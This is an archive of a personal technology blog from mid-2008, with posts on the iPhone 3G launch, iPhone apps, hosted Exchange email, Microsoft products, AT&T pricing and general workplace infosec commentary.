Tuesday, July 15, 2008 5:57:26 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

I know this isn't exactly a new thing, but as I was installing the IE8 Beta 1 for x64 architecture on a computer today to do some testing, I felt a warm-fuzzy sense of appreciation for the fact that more and more we are seeing software that checks for patches and updates before installing and running for the first time. It makes for more-secure system, which is nothing but good.

image

No matter what you think of Internet Explorer (and for the record/what it's worth, I like it quite a bit these days), you have to admit the safer installation process is a great improvement.



Add/Read: Comments [1]
IT Security | Safe Computing | Tech
Tuesday, July 15, 2008 4:58:44 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Gizmodo has a good article highlighting the analysis of the iPhone 3G's battery life (some loose methodology, and some only slightly more formal) by nine industry pundit sources. All I can add to the info is that it's good to burn the batteries in for a week with full charges and discharges (even in the modern battery world) before one can really experience accurate results (batteries tend to need a couple good cycles to provide optimum output).

The general consensus? No 3G phone on the market has great battery life, but in the grand scheme of suckiness, the iPhone 3G's battery life suck the least. Forgive the terminology, please. Just trying to make a point. :)

image

"One takeaway seems to be that as far as straight-up 3G talk time goes, the iPhone 3G is near the top of the range—Wirelessinfo and PC World both found it to be among the best 3G handsets they've tested for voice talk time. For mixed use and browsing numbers, the range is pretty wide, since the variables at play are nearly infinite."



Add/Read: Comments [2]
Apple | Mobile | Tech
Tuesday, July 15, 2008 4:40:53 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

I know a couple people who run so many programs at once on their laptops, they might just be able to take advantage of the new quad-core mobile processor from Intel, which is apparently coming next month. But I have to wonder - since those are the same people that will scream about battery life - how practical it would be. It will be interesting to see how they perform.

At any rate, looks like it's coming in August (and it ain't exactly cheap - see the story for more info).

"We're bringing quad-core to mobile in August," said Sujan Kamran, regional marketing manager for client platforms at Intel in Singapore. Kamran declined to disclose specifics of the quad-core chip, which will carry Intel's Core 2 Extreme moniker.

Link: Intel's Quad-core Mobile Chip Coming Next Month - Yahoo! News



Add/Read: Comments [0]
Geek Out | Mobile | Tech
Tuesday, July 15, 2008 6:26:24 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, July 14, 2008

Wow. The numbers are really huge. Apple has released figures for it's "opening weekend" box office smash, the iPhone 3G. One million units sold in the first three days. It took 74 days to sell that many of the original iPhone last year.

No wonder activation in the stores was so sluggish (or at times just broken). Big uptake in the USA, plus 20 other countries on opening weekend.

A quick note about analyst reports that preceded Apple's announcement. "There are three kinds of lies: lies, damned lies, and statistics." For the record, Piper Jaffray analyst Gene Munster said Monday that Apple was not going to meet even the half-million sales mark expectation set by the marketplace for the opening weekend. Boy, was he ever wrong.

In addition to the huge iPhone sales, Apple also announced that more than 10 million apps were downloaded from the iTunes App Store in the same time period. I wonder how many of those were paid for, how many were free, and what kind of revenue for Apple and authors we're talking about.

Very. Smart. Company. Not perfect, but that don't need to be. They take chances. Big ones. Laser-focused, too, and always successfully defining ahead of time what is "right" and then delivering (which, by the way, is much easier to do than letting someone else define "right" and then trying to meet those expectations).



Add/Read: Comments [0]
Apple | Mobile | Tech
Monday, July 14, 2008 9:02:23 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, July 12, 2008

This morning I signed up for a hosted Exchange Server 2007 account with the 4iphone.net service provided by 4smartphone.net, an early provider of push-iPhone service using the ActiveSync capabilities of Exchange. I'm up and running with my new iPhone on their Exchange server now with my own domain name, and I can tell you already I am just a couple steps away from migrating my email from Google Apps to 4smartphone.net.

To put it simply, Exchange Server 2007 rocks, and so does the new iPhone and its updated software. But when you put them together, you get the ol' 2+2=5 effect. The greater value of each piece of technology is truly realized when used in concert.

Note, too, that hosted Exchange customers get a free copy of Outlook 2007 (for the PC) or Entourage 2008 (for the Mac). There's no need to buy a copy. The client license is part of the hosted Exchange license. That alone is a substantial value.

Setup was fairly straightforward, although some of the configuration instructions were a little vague and complicated to decipher at first (see below). But as of now I'm receiving and able to send email on both my Google apps and Exchange mail servers - with no changes to my DNS settings required. So, it's super-easy to evaluate and try-out the Exchange hosting. Add the 15-day free trial (they'll reimburse if you decide not to keep the service running), and it's a zero-risk evaluation.

Note that when you set up the account at 4smartphone.net, you will initially be logged into their Account Manager, which is where you configure your domain(s) and users/mailboxes. In this interface, the information provided to set up your ActiveSync users is a little vague (specifically, the format of the user name is not intuitive). You can, however, find the complete details of what you need to configure your account when you log into their "Mailbox Manager" web app. In that interface, you'll navigate to Setup > ActiveSync > Instructions and there find exactly what you need.

Delivery with push technology on exchange reminds me of my Blackberry days - within seconds of arriving on the server, email hits the mobile device. Since I got my first iPhone I've always felt a little sluggish when it comes to receiving email. No more: The first time email arrived in Entourage on my Mac and on the iPhone at the same time - practically instantly - I realized what I've been missing.

Combined with the usability and terrific functionality of the 3G network and iPhone 2.0 software and it's just a little too much to describe. It just works, it works well, and it is usable to the point of not having to think about it -- the ultimate test for a usability engineer.

After setting up the email flow and making sure it all works, I used Entourage to copy all my contacts and calendar items to the Exchange server, then enabled syncing of that information from Exchange to the iPhone.

I'll post more after I've had a little more hands-on experience, but so far so great. Highly recommended, and with 4smartphone.net and companies like them, Exchange is available instantly to individuals and small groups or businesses, not just big companies.



Add/Read: Comments [4]
Apple | Tech
Saturday, July 12, 2008 4:15:13 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, July 11, 2008

I'm officially the proud and happy owner of a white 16GB iPhone 3G. I'm about to head out to the store to take care of all the other stuff I need to get done today, so I will have a chance to check out the GPS and 3G network stuff shortly.

I arrived at about 7am at the Apple Store at the Flat Iron Crossing mall in Broomfield, Colorado. About 150 people were already there by the time I arrived, and the numbers just kept on adding up as the morning wore on.

There were a lot of first-time-iPhone-purchasers as well as upgraders in line. I figured it was about a 50-50 mix. The Apple store staff said they had lots of iPhones in stock. At 8am, an army of crazed, screaming Apple Store employees came running from the parking lot where they'd staged themselves, past the crowded line and into the store, trying for high-fives along the way. It was the most excited group of retail workers I've ever seen, to be certain.

The iPhone-stock situation at the Apple stores, however, contrasted drastically with what we were hearing on Twitter about the people in line at the AT&T stores, where stock on hand seemed to be very limited and lines were also long. Word was each AT&T store had about 60 phones or so. Not so at Apple stores, where managers said they had enough to cover the crowds.

Almost as soon as 8am rolled around things went south. The first of the line moved into the store and shortly after is when things stopped. Rumors started to trickle out that the activation system was failing. The situation improved somewhat, until an hour later when the system again failed (likely as a result of the west cost stores opening). The store manager came out to address the crowd and explained the situation (quite effectively, I might add - Apple has a great crew at the store I visited), telling us what was happening with surprising transparency and apologizing for the delay. He thanked us for waiting and our "dedication," and came back out to give updates. At about 10am local time, the situation improved substantially and people started getting their phones in a more-timely manner.

As it turned out, we were not leaving the store with fully activated iPhones as expected. In fact, I got mine at 10:55 a.m., but when I walked out of the store it was still sealed in the plastic-wrapped box. Apparently Apple decided to ditch the in-store iTunes activation dance and instead started sending people home to activate their new devices on iTunes themselves. Good call. In the store they took my information and changed my service over with AT&T, which went smoothly (go figure - AT&T's money grab was slick as snot, heh). My old iPhone went out-of-service with AT&T about 20 minutes later and I so was without a phone until I could get back home to activate the new one.

There were around 200 people in line when I left. Good thing the process was moving faster.

At home, I was able to activate my new phone in less than 30 minutes. It took a while for iTunes to make its initial connection, but once that happened it was a quick and painless process. No bricked phone or anything, and after restoring my backup from the old iPhone I was all set.

Bonus info: I got an email from Telenav this morning explaining they're working now on an iPhone version of their GPS mapping software - Quite excellent! That mean we'll soon have high-quality, turn-by-turn GPS navigation on the iPhone before too long! No delivery dates or other promises (of course), but the app is in the development process. Details are at Gizmodo, and the Telenav blog is a good place to keep your eyes open for future information.



Add/Read: Comments [4]
Apple | Geek Out | Tech
Friday, July 11, 2008 1:21:40 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, July 10, 2008

I arrived in Colorado this afternoon, plugged in my iPhone, backed it up, installed iTunes 7.7 and grabbed the iPhone v2.0 software from Apple's servers (it's out there, although iTunes is not yet advertising it here). I found the Apps listings in iTunes and decided it was about time to upgrade. So, I hooked up the iPhone and promptly fell asleep on the couch while it did it's thing upgrading.


I woke up to the sound of "bliiihdeep!" from the phone and a little "thunk" as it slid on the countertop from where I had it propped up against my Macbook Air (strategically placed so a vibration would make it move, hence alerting me to activity during the lengthy upgrade process). I went to the phone, restored the backup from iTunes, and BAM! There I was, iPhone 2.0 software ready to go.

Once I jumped onto the wireless network at the house, I launched the app store and started looking at programs. The first one I tried was Twitterific. It's pretty okay, but all else being equal I wish I still had Twinkle on there as an app. I'm sure it will be available soon enough.

I installed Google's search app (very cool), the Paypal app (kinda cool, very spartan), and the Weatherbug ap (because those guys rock and their screenshot actually looked interesting - and it's a great little app). Last, I found the Pandora app.

Now, I have written about Pandora here before, long long ago. It's just as amazing a service today as it was then. Simply put, you start pff by providing an artist or two or three that you like and Pandora starts playing music of a similar nature that it "thinks" you'll like. You can vote individual songs/pieces up or down and it refines its recommendations. And Pandora's app on the iPhone let me log into my Pandora account instantly, within seconds, and literally ten seconds later it was streaming my music channels to me over the air.

Incredibly usable, simple, effective. Pure usability bliss.

I showed it to my mom. She instantly lit up and said, I quote: "Wow!" The thing about Pandora is I can explain it to anyone in about 20 seconds and they always "get it." They've done something - perhaps everything - right.

That made me think. My mom just found out she will have to be spending some substantial time in the hospital soon. When I showed her the Pandora application, after she showed her sense of amazement, she got pained look on her face and asked me if I would show her how to transfer files to her (crappy) MP3 player. The device is next to unusable. Even I have a hard time getting it to work. There's nothing good about it. So, tomorrow when I am out picking up a new iPhone 3G, I'm going to grab an iPod touch for my mom. And then ship my old iPhone to my friend Chris (whose shipping address I need in order to do that BTW, hint-hint).

My wish list for more apps? I was pretty disappointed to not find a blog authoring application, something similar to Windows Live Writer but trimmed down and made for the iPhone. Maybe I just need to learn how to program this stuff, but that's a scary thought. Someone better than me must be working on a blogging app. There's a good one available in the app store for TextPad, but that doesn't really help me since I don't use that platform for my blog.

So, iPhone software v2.0 has convinced me to but an iPod Touch for my mom. Once again, the ball's been hit out of the park.



Add/Read: Comments [0]
Apple | Mobile | Tech
Thursday, July 10, 2008 3:19:09 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Microsoft has released Hyper-V for Windows Server 2008, which is the company's hypervisor virtualization platform. With it, you get multi-OS, highly-configurable and performant virtualized hardware capabilities on the Windows platform.

Windows Server 2008 Hyper-V, the next-generation hypervisor-based server virtualization technology, allows you to make the best use of your server hardware investments by consolidating multiple server roles as separate virtual machines (VMs) running on a single physical machine. With Hyper-V, you can also efficiently run multiple different operating systems—Windows, Linux, and others—in parallel, on a single server, and fully leverage the power of x64 computing.

For additional information, you might want to check out a RunAs Radio episode that Richard Campbell and I published back in April, when we spoke with Anil Desai on the topic of Hyper-V. Anil compared Hyper-V to ESX Server from VMWare and discussed the Microsoft offering in some detail.



Add/Read: Comments [0]
Tech
Thursday, July 10, 2008 4:15:59 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, July 02, 2008

You have firewalls and anti-malware system, video surveillance and monitoring systems for network traffic to and from the Internet. But look at eWeek's semi-smart list of the top ten infosec risks workers pose to your business today, and you may need to rethink your plans.

I call this a "semi-smart" list because it's practical and real-world, and doesn't assume the "standards" out there cover all the bases. But, at the same time it doesn't offer much in the way of solutions, which always frustrates me (and it misses some key points, especially related to intentional worker behavior, as opposed to neglect, and how it can substantially enhance the potential associated with these risks).

Point is, each of the items pointed out is very much worth considering and reviewing in your business security program. Just don't forget to look at them in the big-picture perspective of the business.

And now for the list:

  • USB Flash Drives
  • Laptops
  • P2P
  • Web Mail
  • Wi-Fi
  • Smart Phones
  • Collaboration Tools
  • Social Networks
  • Unauthorized Software Updates
  • Virtual Worlds

Pretty much every modern technical productivity enhancer. Before anyone starts screaming the alarmist song, think about not only how these things can be used for good, but also about how they could be used to to Very Bad Things.

How many of those technologies are specifically and can be proven effectively covered under your infosec policies? How many have you tested in the real world to see what your compliance profile really looks like? Could you meaningfully test for these threats, even if they were on your plan?

You can check out the eWeek article here.



Add/Read: Comments [0]
IT Security | Tech
Wednesday, July 02, 2008 10:09:37 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Google Talk is now available on the iPhone in the Safari browser. At the Google Mobile blog, the details are laid out. If you use Google Apps for your domain and have the Talk app activated there, word is you can access it, too using this URL syntax:

http://hostedtalkgadget.google.com/a/yourdomain/talkgadget/m

"We've just released in the US a new version of Google Talk designed specifically for the iPhone and iPod Touch browsers. In addition to sending your friends Gmail messages from your iPhone, you can now chat with them while you're on the move, too! In your iPhone browser, just go to www.google.com/talk, sign in and start chatting. That's it. Google Talk runs entirely in the browser so there's no need to download or install anything."

Announcement: Official Google Mobile Blog: Google Talk for the iPhone


Add/Read: Comments [0]
Apple | Mobile | Tech
Wednesday, July 02, 2008 8:49:12 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Tired of relying on well-funded commercial software companies testing their software on you while you come to truly rely on it, with little to no control?

Well, the world is (potentially) changing.

If you're - for example - a Twitter user, you might be interested in checking out Identi.ca, a brand-new open-source platform for microblogging. Press release below.

I can be found at http://identi.ca/greghughes - Check it out.

Control Yourself, Inc. launches Identi.ca, the Open Microblogging Service (July 2nd, 2008)

Montreal, Quebec-based Control Yourself, Inc. today launched Identi.ca, the open microblogging service. Users can post short messages about themselves to Identi.ca, which are then broadcast to friends in their social network using instant messages (IM), RSS feeds, and the Web.

Identi.ca is similar to existing microblogging sites such as Twitter, Jaiku, or Pownce. Unlike those services, Identi.ca’s underlying software is available under an Open Source license. Identi.ca is also the first service to support OpenMicroBlogging, a standard for exchanging short messages between microblogging sites. Identi.ca also makes public user data available under a Creative Commons license in standard formats.

“Too many existing social networks keep users locked in to their services,” says Evan Prodromou, president of Control Yourself. “With an Open Source code base, and support for standard data exchange formats, we are giving users back the autonomy to control their own social Web presence.”

Response from initial testers has been enthusiastic, both for the software’s design and functionality, as well as the site’s openness. “It makes me feel alive again to see the resurgence of free/open on the web,” said Jon Phillips, Community Manager with Creative Commons in San Francisco, CA.

Control Yourself will grow the service exponentially throughout 2008, adding features such cell phone text messaging (SMS) and multilingual support in its next software release.

Link to the original press release: Control Yourself



Add/Read: Comments [0]
Blogging | Tech
Wednesday, July 02, 2008 1:11:17 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
CIO.com has posted a great opinion article by Mike Gualtieri offering nine ways to make sure you're not labeled as a "clueless" CIO. I must say, the list is excellent and one that should be taken to heart by executive managers in general, and information/technical execs in particular.

Among his observations of a good CIO: "He gets opinions from his experts but there is never any question about who will make the final decision. And, if you never watched Star Trek then you shouldn't even be a CIO."

But the list contains several important and valuable points, it's not just humor. Do you know what your reports have to say about you? Does your CIO make the grade? This quick article is highly recommended.

I can especially relate to the issues associated with "drinking vendor Kool-Aid" and the need to keep a distance. In fact, my experiences with massive numbers of vendors led me to take drastic action to stop cold calls and other sales tactics, to the point even of angering those vendors. Basically, if I didn't have an established preferred relationship with a vendor, calls were relegated to a special mailbox. It gave me my time back.

Also, it is important to watch the balance between being a good geek leader and being the "uber-geeky" supervisor. If you are a professional manager, you hire the best and the brightest and make sure they can do their jobs well. If you're hiring smart, those people are much better at the tactical aspects of your organizational responsibilities than you are, anyhow.



Add/Read: Comments [0]
Management | Tech
Wednesday, July 02, 2008 9:55:13 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

Microsoft will soon be selling it's Office suite, along with security protection software (OneCare) and a slew of other applications for a $70 annual fee under the name "Equipt" this month. This is the first time a consumer has had the option to pay-as-you-go for the Microsoft productivity software, and will likely open up the possibility of a more budget-affordable option for many. When you consider an annual OneCare subscription runs you $50 a year and a copy of Office Home and Student Edition sells for a one-time fee of $150 (and a new version seems to come out every three years on average), it's an attractive deal. The $69.99 subscription fee will let you install the software on up to three home PCs.

Infoworld:

Equipt, which was formerly known by its code name, Albany, includes Office Home and Student 2007, Windows Live OneCare, Office Live Workspaces, Windows Live Mail, Live Messenger and Live Photo. Microsoft plans to begin selling it in the U.S. on July 15 through Circuit City, with other outlets to follow. It will be offered in other countries at about the same time, though pricing elsewhere was not announced.

The name comes from the idea that the package will help customers "equip their PC with a core set of services," said Bryson Gordon, a group product manager for Microsoft Office. "It resonated well with customers in testing."

Link to the Original Article at InfoWorld: Microsoft to sell Office 'value pack' for $70 per year



Add/Read: Comments [0]
Tech
Wednesday, July 02, 2008 9:33:40 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

AT&T has released a set of informative videos (all of which appear below) with details about when, where and how to buy the iPhone 3G. Prepare to qualify!

There are three videos. The first one is for people who are not existing AT&T customers:



Next, information for people who are already customers of AT&T (including iPhone owners and non-iPhone customers):



Finally, if you want to give your first-generation iPhone to your old friend Chris someone you know, here are those details:



In addition, a press release outlining all the details for various types of purchasers describes the in's and out's of contracts, upgrades and whatnot:

AT&T Inc. (NYSE:T) today announced iPhone 3G pricing for new and existing AT&T customers, several attractive voice and data plans, and tips on how to be “iReady” when iPhone 3G goes on sale at AT&T retail stores at 8 a.m. local time on Friday, July 11.

“We can’t wait to offer iPhone 3G to our customers, and we want to make sure the buying process is as easy as possible,” said Ralph de la Vega, president and CEO of AT&T’s wireless unit. “Considering all the great new features of iPhone 3G, we think our pricing and monthly plans present a tremendous value for consumers and businesses alike.”

Pricing and Eligibility

AT&T is making it easy for customers to prepare for their iPhone 3G purchase by posting “Get iReady” tips and frequently asked questions at www.att.com/iphone. The site also will include a link for customers to check their upgrade eligibility and other wireless account information.

iPhone 3G will be available for $199 for the 8GB model and $299 for the 16GB model. These prices require two-year contracts and are available to the following customers:
  • iPhone customers who purchased before July 11
  • Customers activating a new line with AT&T
  • Current AT&T customers who are eligible, at the time of purchase, for an upgrade discount
Existing AT&T customers who are not currently eligible for an upgrade discount can purchase iPhone 3G for $399 for the 8GB model or $499 for the 16GB model. Both options require a new two-year service agreement. In the future, AT&T will offer a no-contract-required option for $599 (8GB) or $699 (16GB).

Current customers may also choose to wait until they become eligible for an upgrade discount. Eligibility is generally determined by amount of time remaining on a current contract and payment history.

Current AT&T customers who are upgrading to iPhone 3G will pay an $18 upgrade fee and new AT&T customers will pay the standard $36 activation fee.

Voice, Data and Text Messaging Plans

AT&T brings iPhone 3G customers the best coverage on the globe and the largest mobile-to-mobile calling community with unlimited calling to AT&T’s 71.4 million wireless customers. iPhone 3G customers can choose from four individual AT&T Nation plans, which bundle voice and unlimited data (e-mail and Web browsing).
  • AT&T NationSM Unlimited: Includes unlimited Anytime Minutes for $129.99 a month.
  • AT&T Nation 1350: Includes 1350 Anytime Minutes and unlimited Night & Weekend Minutes for $109.99 a month.
  • AT&T Nation 900: Includes 900 Anytime Minutes and unlimited Night & Weekend Minutes for $89.99 a month.
  • AT&T Nation 450: Includes 450 Anytime Minutes and 5,000 Night & Weekend Minutes for $69.99 a month.
All AT&T Nation and AT&T FamilyTalk® plans for iPhone 3G include nationwide long distance and roaming, Visual Voicemail, Rollover®, unlimited Mobile to Mobile calling, Call Forwarding, Call Waiting, Three-Way Calling and Caller ID.

AT&T will offer FamilyTalk plans, with bundled voice and unlimited data, starting as low as $129.99 a month for two iPhone 3G lines. Up to three additional iPhone lines can be added for $39.99 each.
Unlimited text messaging can be added for an additional $20 ($30 for FamilyTalk plans of up to five lines); $15 (1,500 messages), or $5 (200 messages).

iPhone for Business

Business customers interested in iPhone 3G should contact an AT&T business sales representative or review their account information online to determine their eligibility for upgrade pricing. Corporate e-mail and other business applications require the Enterprise Data Plan for iPhone, which is $45 a month and bundled with an eligible voice plan. Small business customers may qualify for AT&T BusinessTalk, the industry’s only shared plan specifically for small businesses. Additional details on iPhone business offerings are available at www.att.com/iphoneforbusiness.

iPhone 2.0 Software

All iPhone customers will benefit from the iPhone 2.0 software, which will be pre-loaded on all iPhone 3Gs and available as a free download for current iPhone customers. The new software will include numerous enhancements, such as business-class e-mail access via Microsoft Exchange ActiveSync; the iPhone Software Development Kit (SDK), which allows a business to easily create applications customized to its needs; and the App Store, which offers a wide-range of applications — from games to business, education to entertainment and productivity to social networking. For example, AT&T has developed YELLOWPAGES.COM Mobile for iPhone, which takes local mobile search to a new level by allowing users to discover businesses and local events based on their popularity among other iPhone users, get directions and access business reviews.

So - The real question is this: Who plans to get in line early? :)



Add/Read: Comments [2]
Apple | Mobile | Tech
Wednesday, July 02, 2008 12:46:23 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, June 30, 2008

Nate Westheimer of The Silicon Alley Insider has this to say:

Twitter should take full advantage of their messaging platform, user base and user disposition to lead in the P2P mobile payments space, where, despite years of hype, no one has much of a head start.

Link to the article: How Twitter Could Be Worth A Billion In A Year

I have to admit, coming from the Internet financial services space, the thought of this actually happening scares me slightly, given the serious lack of stability and the manner in which changes have been made at Twitter with less than complete communication. But at any rate, they have a lot of money to throw at the problems, so I am rooting for them to get things right. It just hurts. :)

Westheimer makes some good points. Twitter is carrier/provider-agnostic and has amazingly terrific user and market penetration. Just as I send you a direct message today by typing "d yourname hi how are you?" I could pay you using syntax like "p yourname $20."

But getting from here to there is an whole other story. It's far from trivial to create a financial transaction and accounting system, especially one that scales to the sizes required (but it certainly can be done).

It's an appealing and interesting idea and one that warrant some real thought. As someone who comes from the the online banking software, infrastructure and security world, I can see the market need as well as the challenges from many fronts that will face any company that finally jumps fully on-board the micro-payments and mobile-payments train. A number of good, well-funded companies have given it a run before with limited success. It's a complex problem to solve, but it's doable.

It sure sounds like a fun challenge, and there's a massive marketplace out there just waiting for someone to get it right. Note the operative verbiage there - Doing it well is critical to success. The fact is there's no room for "scale later" in this game.

What do you think? Would you pay people via Twitter if you could? Would it be useful to you?



Add/Read: Comments [2]
IT Security | Mobile | Tech
Monday, June 30, 2008 10:06:18 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

I've really missed Windows Live Writer since I starting using my Macbook Air so much. Even though I have it in a Fusion virtual machine running Windows, I find I rarely use it since it uses the VM's filesystem (not the Mac's), and copying stuff onto the Mac clipoard and then pasting into a Windows virtualized app is not what one might wish.

I was pleasantly surprised to run across a Mac app called Blogo, which I am using to write this post. It's nowhere near as feature-rich as Live Writer, but Blogo is a great start on a WYSIWYG editor with many of the bells and whistles. I pointed it at my blog home page during setup, with very little hope it would auto-discover my blog settings, but I was pleasantly surprised. Up popped a dialog asking for my username ad password, and once I provided it, there on the screen was my list of blog posts pulled straight from the server's API (which I seem to recall emulates the Blogger API). Very nice.

Blogo has a funny icon logo, is available as a free 21-day trial, and after that it's $25. There are a few key features missing that might make me pause when it comes to shelling out the cash. Specifically there is no spell checking (I'd like to see red underlines and inline corrections with the right-click action), selecting text and trying to drag it around doesn't work, the image editor is fairly limited, and it doesn't seem to pull my list of existing categories. Plus you cannot edit the HTML it creates (yet) and pasting multimedia content inline doesn't seem to work well. But as I said, it's a great start. If you have a Mac and you're frustrated with other blogging apps, you should check it out.

It's the best WYSIWG mac client I've found so far, so it earns a spot on my Mac's Dock. I will be keeping up with this editor's progress with high hopes, and am encouraged there may yet me a Mac blogging client to rival WLW.

We can hope!



Add/Read: Comments [2]
Apple | Blogging | Tech
Monday, June 30, 2008 5:59:33 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, June 29, 2008
For the past several months I have had the pleasure of improving my communication effectiveness while at the same time reducing my reliance and the massive amount of time I used to spend on email. Tools like Twitter, blogging, and - yes - actively making sure I am using the telephone (remember that thing?) have all contributed to my big picture of improvement: Use better tools where they make the most sense, rather than relying on the cumbersome and often ineffective email medium.

What prompts me to write this? Luis Suarez works for IBM and today's NY Times online contains a piece written by him where he discusses his change away from email. I can relate and have had many of the same experiences.

Email is often chastised for a variety of shortcomings, among them the frustrating fact that often people come across (or are perceived) in a way they do not intend. Maybe the reader perceives the writer is angry or being short when that's not the intent. If I had a dime for every email-miscommunication I'd observed (or been a part of), I'd be a rich man.

Systems like Twitter (assuming you can forgive that app's famous reliability and availability issues), allow community information sharing in a manner you can never get with email, and which classic instant messaging doesn't quite do. Post your thoughts, questions or whatever you're up to and others who want to follow your thoughts can read then in your "tweets." And if they wish they can respond, either publicly (called replying) or in private (called direct-messaging). Twitter is basically a public broadcast communication system of short messages, with private messaging capabilities also available. All Twitter communication is (hopefuly) archived for access and reference later on if you like. The signal-to-noise ratio, however, can be quite high, especially when people use it like an instant messaging client (which it is not really suited for, in my opinion). You can tune the SNR of your tweet feed by choosing whose communications you subscribe to. Too much noise from Joe? Just stop following his tweet stream.

Instant messaging is well-suited for casual, right-now conversations where archiving in the "cloud" is not as important. I can archive all of my instant messages locally, but I have to be on the archiving computer where I was writing to read the archives. It makes it easy to do provate chats with one person and add another person(s) if needed, although my use is almost always 1:1.

Of course, email works well - even best - for some things. I try to avoid using it as a filing cabinet, or at least limit it to specific critical uses. But by pulling all the real-time conversations out and using the real- or near-real-time tools, by email bloat has been significantly reduced, hence the amount of time I need to spend in it is less than the quality of the time I do spend there is higher.

Finally, the telephone. When it comes to making personal connections, nothing beats hearing the other person and them being able to hear you. It's real time in the most "real" sense. You can argue that voice and video capabilities of IM applications fill this need, and you'd be right. But there is something about the phone that really works well.

One other side effect of the technology growth I have noticed (and it's also probably a result of life changes for me as well) is that I don't blog quite as much as I used to. A lot of the quick thoughts that I used to turn into blog entries end up being tweets on Twitter or IM messages (or just left sitting on my brain's virtual table).

How have you changed your communication habits as a result of technology? Or have you?



Add/Read: Comments [2]
Tech
Sunday, June 29, 2008 11:27:18 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, June 24, 2008
Everything about this video - The Website is Down - is so sarcastically and stereotypically hilarious. Josh Weinberg (the creator) is my new hero.
A mashup of true and mostly-true stories from IT hell. If you've ever called tech support and wondered what the hell they are doing down there... well, this should answer some questions for you. Starring Apache, Windows XP, Linux and Halo (among many others).
Note: There's some very NSFW language and visuals. You have been warned.

I'm not going to post video here -- You need to go to the site and watch the whole thing, and then be sure to check out the geeky interactive UI at the end.

(via Chris Pirillo on Twitter)


Add/Read: Comments [3]
Humor | Random Stuff | Tech
Tuesday, June 24, 2008 7:15:51 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
I've traveled to Europe with my iPhone before, and despite activating an international data plan I ended up spending a bit more than I wanted to (by about $100). But Raven Zachary came back home to a $800+ bill, and there are many tales of others having even worse experiences.

Raven wrote a blog article offering some tips to keep your costs down, all of which are good. So, if you are traveling out of the USA with your AT&T iPhone (and yes, that DOES include to Canada or Mexico, so do your homework), check out what he wrote.

As of today, there is no "unlimited" international data plan available. It can get very expensive to deal with email attachments and use the maps program, or even just to check email the same way you do back home (meaning automatically every n minutes). With the 3G network coming on the new iPhone and the associated roaming costs for high-speed access projected to be higher, this all becomes even more important.

Until AT&T makes it a little easier to be their customers, and simplifies things for those of use paying them big bucks for service, you'll need to order specific international services and configure your iPhone in certain ways to make sure you don't get nailed and you'll have to search the 'net to find sources to read about the problems and related solutions. I feel sorry for people who get completely blindsided (and there are a lot of those people out there). So much for seamless, don't-have-to-think-about-it use, eh?



Add/Read: Comments [0]
Apple | Mobile | Tech | Things that Suck
Tuesday, June 24, 2008 6:49:54 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, June 20, 2008
PDX Tech LogoJeff Martens had an idea, one I had been thinking similarly about - but he vocalized it first (or "tweeterized it" might be more accurate). I jumped right in and created a new LinkedIn group called "PDX Tech," a networking group for people in the Portland, Oregon general area who work in what we will loosely define as the technology marketplace.

If you'd like to join the group and you meet the above requirements (which are not too restrictive), just click here and sign right up.

In the first 24 hours we already have a substantial group of people who have joined, but I know there are many, many more out there in PDX-land. Hope to see you on the group list!



Add/Read: Comments [1]
Tech
Friday, June 20, 2008 10:29:13 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, June 17, 2008
Microsoft's Steven Lindsay posted a video a couple months ago showing his top five things you didn't know you could do with your Media Center PC. Cool tidbits for people who want to get deeper into using a few more of the capabilities of Windows Media Center. Worth the viewing time.


Add/Read: Comments [0]
Tech | Windows Media Technology
Tuesday, June 17, 2008 9:29:37 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, June 10, 2008
Last month, Microsoft released the Microsoft Forefront Integration Kit for Network Access Protection, a solution accelerator that enables their Forefront Client Security products to interoperate with the Network Access Protection (NAP) capabilities included in Windows Server 2008. In a nutshell, it allows an integrated system of policy compliance and real-time checking of the status of a computer's Forefront security status, as well as remediation and access protection for machines that fall or are found to be out of compliance.

Using the technologies together, administrators can leverage the state of a client computer as part of the information and policy status that NAP leverages in controlling access to the network.
You can use the Kit to help protect your network infrastructure by configuring a Forefront Client Security compliance health policy across your network, monitoring the operational health of Forefront Client Security in real time, and remediating problems that arise.
More and better in-depth defense mechanisms, and ones that work well together on top of that, are good to see coming out of Microsoft and others. It's the kind of progress that's needed to stay on top of quickly evolving threats, and to proactively keep them from spreading.

(via Dan Griffin)



Add/Read: Comments [2]
IT Security | Tech
Tuesday, June 10, 2008 11:40:24 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, June 09, 2008
I'm in warm and sunny Orlando for the IT week of Tech Ed. My cohort Richard and I will be interviewing, making the speaker contest happen, and generally staying busy through Friday. If you are at Tech Ed this week, be sure to drop by the Tech Ed fishbowl in the exhibition hall, or send and email and let me know. It would be great to meet new people and catch up with others.



Add/Read: Comments [0]
Random Stuff | Tech
Monday, June 09, 2008 7:53:57 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, June 05, 2008
What's in these boxes?A reporter from Forbes Magazine, Brian Caulfield, has been sneaking around a bit, asking questions, and taking pictures from various public-domain locations where he thinks Apple's next-gen iPhone (or APple Tablet, or next-gen iMac, or all of the above) are being dispatched from.

